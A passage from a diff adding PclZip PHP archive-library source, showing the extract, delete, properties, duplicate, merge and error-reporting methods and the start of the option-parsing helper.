+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function extract()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::extract", "");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_BY_NAME => 'optional',
+                                                   PCLZIP_OPT_BY_EREG => 'optional',
+                                                   PCLZIP_OPT_BY_PREG => 'optional',
+                                                   PCLZIP_OPT_BY_INDEX => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+												    ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Trace
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "path='$v_path', remove_path='$v_remove_path', remove_all_path='".($v_remove_path?'true':'false')."'");
+
+    // ----- Call the extracting fct
+    $p_list = array();
+    $v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
+	                                     $v_remove_all_path, $v_options);
+    if ($v_result < 1) {
+      unset($p_list);
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+      return(0);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   extractByIndex($p_index, $p_path="./", $p_remove_path="")
+  //   extractByIndex($p_index, [$p_option, $p_option_value, ...])
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This method is doing a partial extract of the archive.
+  //   The extracted files or folders are identified by their index in the
+  //   archive (from 0 to n).
+  //   Note that if the index identify a folder, only the folder entry is
+  //   extracted, not all the files included in the archive.
+  // Parameters :
+  //   $p_index : A single index (integer) or a string of indexes of files to
+  //              extract. The form of the string is "0,4-6,8-12" with only numbers
+  //              and '-' for range or ',' to separate ranges. No spaces or ';'
+  //              are allowed.
+  //   $p_path : Path where the files and directories are to be extracted
+  //   $p_remove_path : First part ('root' part) of the memorized path
+  //                    (if any similar) to remove while extracting.
+  // Options :
+  //   PCLZIP_OPT_PATH :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
+  //     not as files.
+  //     The resulting content is in a new field 'content' in the file
+  //     structure.
+  //     This option must be used alone (any other options are ignored).
+  //   PCLZIP_CB_PRE_EXTRACT :
+  //   PCLZIP_CB_POST_EXTRACT :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the extracted files, with a status of the action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  //function extractByIndex($p_index, options...)
+  function extractByIndex($p_index)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::extractByIndex", "index='$p_index', ...");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+//    $v_path = "./";
+    $v_path = '';
+    $v_remove_path = "";
+    $v_remove_all_path = false;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Default values for option
+    $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Variable list of options");
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_EXTRACT => 'optional',
+                                                   PCLZIP_CB_POST_EXTRACT => 'optional',
+                                                   PCLZIP_OPT_SET_CHMOD => 'optional',
+                                                   PCLZIP_OPT_REPLACE_NEWER => 'optional'
+                                                   ,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
+                                                   ,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+												   ));
+        if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+        }
+
+        // ----- Set the arguments
+        if (isset($v_options[PCLZIP_OPT_PATH])) {
+          $v_path = $v_options[PCLZIP_OPT_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
+          $v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
+          $v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
+        }
+        if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
+          // ----- Check for '/' in last path char
+          if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
+            $v_path .= '/';
+          }
+          $v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
+        }
+        if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) {
+          $v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Option PCLZIP_OPT_EXTRACT_AS_STRING not set.");
+        }
+        else {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Option PCLZIP_OPT_EXTRACT_AS_STRING set.");
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Static synopsis");
+
+        // ----- Get the first argument
+        $v_path = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_remove_path = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          // ----- Error log
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
+
+          // ----- Return
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+          return 0;
+        }
+      }
+    }
+
+    // ----- Trace
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "index='$p_index', path='$v_path', remove_path='$v_remove_path', remove_all_path='".($v_remove_path?'true':'false')."'");
+
+    // ----- Trick
+    // Here I want to reuse extractByRule(), so I need to parse the $p_index
+    // with privParseOptions()
+    $v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index);
+    $v_options_trick = array();
+    $v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick,
+                                        array (PCLZIP_OPT_BY_INDEX => 'optional' ));
+    if ($v_result != 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+    }
+    $v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX];
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Call the extracting fct
+    if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) {
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+        return(0);
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   delete([$p_option, $p_option_value, ...])
+  // Description :
+  //   This method removes files from the archive.
+  //   If no parameters are given, then all the archive is emptied.
+  // Parameters :
+  //   None or optional arguments.
+  // Options :
+  //   PCLZIP_OPT_BY_INDEX :
+  //   PCLZIP_OPT_BY_NAME :
+  //   PCLZIP_OPT_BY_EREG : 
+  //   PCLZIP_OPT_BY_PREG :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the files which are still present in the archive.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function delete()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::delete", "");
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Set default values
+    $v_options = array();
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "$v_size arguments passed to the method");
+
+    // ----- Look for arguments
+    if ($v_size > 0) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Parse the options
+      $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                        array (PCLZIP_OPT_BY_NAME => 'optional',
+                                               PCLZIP_OPT_BY_EREG => 'optional',
+                                               PCLZIP_OPT_BY_PREG => 'optional',
+                                               PCLZIP_OPT_BY_INDEX => 'optional' ));
+      if ($v_result != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+          return 0;
+      }
+    }
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Call the delete fct
+    $v_list = array();
+    if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) {
+      $this->privSwapBackMagicQuotes();
+      unset($v_list);
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0, PclZip::errorInfo());
+      return(0);
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_list);
+    return $v_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : deleteByIndex()
+  // Description :
+  //   ***** Deprecated *****
+  //   delete(PCLZIP_OPT_BY_INDEX, $p_index) should be prefered.
+  // --------------------------------------------------------------------------------
+  function deleteByIndex($p_index)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::deleteByIndex", "index='$p_index'");
+    
+    $p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index);
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $p_list);
+    return $p_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : properties()
+  // Description :
+  //   This method gives the properties of the archive.
+  //   The properties are :
+  //     nb : Number of files in the archive
+  //     comment : Comment associated with the archive file
+  //     status : not_exist, ok
+  // Parameters :
+  //   None
+  // Return Values :
+  //   0 on failure,
+  //   An array with the archive properties.
+  // --------------------------------------------------------------------------------
+  function properties()
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::properties", "");
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Magic quotes trick
+    $this->privDisableMagicQuotes();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      $this->privSwapBackMagicQuotes();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Default properties
+    $v_prop = array();
+    $v_prop['comment'] = '';
+    $v_prop['nb'] = 0;
+    $v_prop['status'] = 'not_exist';
+
+    // ----- Look if file exists
+    if (@is_file($this->zipname))
+    {
+      // ----- Open the zip file
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+      if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0)
+      {
+        $this->privSwapBackMagicQuotes();
+        
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), 0);
+        return 0;
+      }
+
+      // ----- Read the central directory informations
+      $v_central_dir = array();
+      if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+      {
+        $this->privSwapBackMagicQuotes();
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+        return 0;
+      }
+
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Set the user attributes
+      $v_prop['comment'] = $v_central_dir['comment'];
+      $v_prop['nb'] = $v_central_dir['entries'];
+      $v_prop['status'] = 'ok';
+    }
+
+    // ----- Magic quotes trick
+    $this->privSwapBackMagicQuotes();
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_prop);
+    return $v_prop;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : duplicate()
+  // Description :
+  //   This method creates an archive by copying the content of an other one. If
+  //   the archive already exist, it is replaced by the new one without any warning.
+  // Parameters :
+  //   $p_archive : The filename of a valid archive, or
+  //                a valid PclZip object.
+  // Return Values :
+  //   1 on success.
+  //   0 or a negative value on error (error code).
+  // --------------------------------------------------------------------------------
+  function duplicate($p_archive)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::duplicate", "");
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the $p_archive is a PclZip object
+    if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip'))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The parameter is valid PclZip object '".$p_archive->zipname."'");
+
+      // ----- Duplicate the archive
+      $v_result = $this->privDuplicate($p_archive->zipname);
+    }
+
+    // ----- Look if the $p_archive is a string (so a filename)
+    else if (is_string($p_archive))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The parameter is a filename '$p_archive'");
+
+      // ----- Check that $p_archive is a valid zip file
+      // TBC : Should also check the archive format
+      if (!is_file($p_archive)) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'");
+        $v_result = PCLZIP_ERR_MISSING_FILE;
+      }
+      else {
+        // ----- Duplicate the archive
+        $v_result = $this->privDuplicate($p_archive);
+      }
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : merge()
+  // Description :
+  //   This method merge the $p_archive_to_add archive at the end of the current
+  //   one ($this).
+  //   If the archive ($this) does not exist, the merge becomes a duplicate.
+  //   If the $p_archive_to_add archive does not exist, the merge is a success.
+  // Parameters :
+  //   $p_archive_to_add : It can be directly the filename of a valid zip archive,
+  //                       or a PclZip object archive.
+  // Return Values :
+  //   1 on success,
+  //   0 or negative values on error (see below).
+  // --------------------------------------------------------------------------------
+  function merge($p_archive_to_add)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::merge", "");
+    $v_result = 1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Check archive
+    if (!$this->privCheckFormat()) {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, 0);
+      return(0);
+    }
+
+    // ----- Look if the $p_archive_to_add is a PclZip object
+    if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip'))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The parameter is valid PclZip object");
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($p_archive_to_add);
+    }
+
+    // ----- Look if the $p_archive_to_add is a string (so a filename)
+    else if (is_string($p_archive_to_add))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The parameter is a filename");
+
+      // ----- Create a temporary archive
+      $v_object_archive = new PclZip($p_archive_to_add);
+
+      // ----- Merge the archive
+      $v_result = $this->privMerge($v_object_archive);
+    }
+
+    // ----- Invalid variable
+    else
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add");
+      $v_result = PCLZIP_ERR_INVALID_PARAMETER;
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : errorCode()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorCode()
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorCode());
+    }
+    else {
+      return($this->error_code);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorName()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorName($p_with_code=false)
+  {
+    $v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR',
+                      PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL',
+                      PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL',
+                      PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER',
+                      PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE',
+                      PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG',
+                      PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP',
+                      PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE',
+                      PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL',
+                      PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION',
+                      PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT',
+                      PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL',
+                      PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL',
+                      PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM',
+                      PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP',
+                      PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE',
+                      PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE',
+                      PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION',
+                      PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'
+                      ,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'
+                      ,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION'
+                    );
+
+    if (isset($v_name[$this->error_code])) {
+      $v_value = $v_name[$this->error_code];
+    }
+    else {
+      $v_value = 'NoName';
+    }
+
+    if ($p_with_code) {
+      return($v_value.' ('.$this->error_code.')');
+    }
+    else {
+      return($v_value);
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : errorInfo()
+  // Description :
+  // Parameters :
+  // --------------------------------------------------------------------------------
+  function errorInfo($p_full=false)
+  {
+    if (PCLZIP_ERROR_EXTERNAL == 1) {
+      return(PclErrorString());
+    }
+    else {
+      if ($p_full) {
+        return($this->errorName(true)." : ".$this->error_string);
+      }
+      else {
+        return($this->error_string." [code ".$this->error_code."]");
+      }
+    }
+  }
+  // --------------------------------------------------------------------------------
+
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE ARE DEFINED PRIVATE INTERNAL FUNCTIONS *****
+// *****                                                        *****
+// *****       THESES FUNCTIONS MUST NOT BE USED DIRECTLY       *****
+// --------------------------------------------------------------------------------
+
+
+
+  // --------------------------------------------------------------------------------
+  // Function : privCheckFormat()
+  // Description :
+  //   This method check that the archive exists and is a valid zip archive.
+  //   Several level of check exists. (futur)
+  // Parameters :
+  //   $p_level : Level of check. Default 0.
+  //              0 : Check the first bytes (magic codes) (default value))
+  //              1 : 0 + Check the central directory (futur)
+  //              2 : 1 + Check each file header (futur)
+  // Return Values :
+  //   true on success,
+  //   false on error, the error code is set.
+  // --------------------------------------------------------------------------------
+  function privCheckFormat($p_level=0)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privCheckFormat", "");
+    $v_result = true;
+
+	// ----- Reset the file system cache
+    clearstatcache();
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Look if the file exits
+    if (!is_file($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, false, PclZip::errorInfo());
+      return(false);
+    }
+
+    // ----- Check that the file is readeable
+    if (!is_readable($this->zipname)) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'");
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, false, PclZip::errorInfo());
+      return(false);
+    }
+
+    // ----- Check the magic code
+    // TBC
+
+    // ----- Check the central header
+    // TBC
+
+    // ----- Check each file header
+    // TBC
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privParseOptions()
+  // Description :
+  //   This internal methods reads the variable list of arguments ($p_options_list,
+  //   $p_size) and generate an array with the options and values ($v_result_list).
+  //   $v_requested_options contains the options that can be present and those that
+  //   must be present.
+  //   $v_requested_options is an array, with the option value as key, and 'optional',
+  //   or 'mandatory' as value.
+  // Parameters :
+  //   See above.
+  // Return Values :
+  //   1 on success.
+  //   0 on failure.
+  // --------------------------------------------------------------------------------
+  function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privParseOptions", "");
+    $v_result=1;
+    
+    // ----- Read the options
+    $i=0;
+    while ($i<$p_size) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Looking for table index $i, option = '".PclZipUtilOptionText($p_options_list[$i])."(".$p_options_list[$i].")'");
+
+      // ----- Check if the option is supported
+      if (!isset($v_requested_options[$p_options_list[$i]])) {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+
+      // ----- Look for next option
+      switch ($p_options_list[$i]) {
+        // ----- Look for options that request a path value
+        case PCLZIP_OPT_PATH :
+        case PCLZIP_OPT_REMOVE_PATH :
+        case PCLZIP_OPT_ADD_PATH :
+          // ----- Check the number of parameters
+          if (($i+1) >= $p_size) {
+            // ----- Error log
+            PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'");
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+            return PclZip::errorCode();
+          }
+
+          // ----- Get the value
+          $v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE);
